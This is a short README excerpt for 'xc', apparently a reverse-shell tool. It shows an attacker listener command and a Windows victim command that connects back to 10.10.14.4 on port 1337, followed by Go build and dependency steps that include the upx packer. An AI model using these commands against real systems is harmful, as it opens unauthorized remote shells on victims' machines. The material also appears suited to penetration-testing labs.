## Examples

- Linux Attacker: `rlwrap xc -l -p 1337` (Server)
- WindowsVictim : `xc.exe 10.10.14.4 1337` (Client)
- Argumentless: `xc_10.10.14.4_1337.exe` (Client)

## Setup

Make sure you are running golang version 1.15+, older versions will not compile. I tested it on ubuntu: `go version go1.16.2 linux/amd64` and kali `go version go1.15.9 linux/amd64`

```auto
git clone --recurse-submodules https://github.com/xct/xc.git

GO111MODULE=off go get golang.org/x/sys/...
GO111MODULE=off go get golang.org/x/text/encoding/unicode
GO111MODULE=off go get github.com/hashicorp/yamux
sudo apt-get install rlwrap upx

```

Linux:

```auto
python3 build.py

```
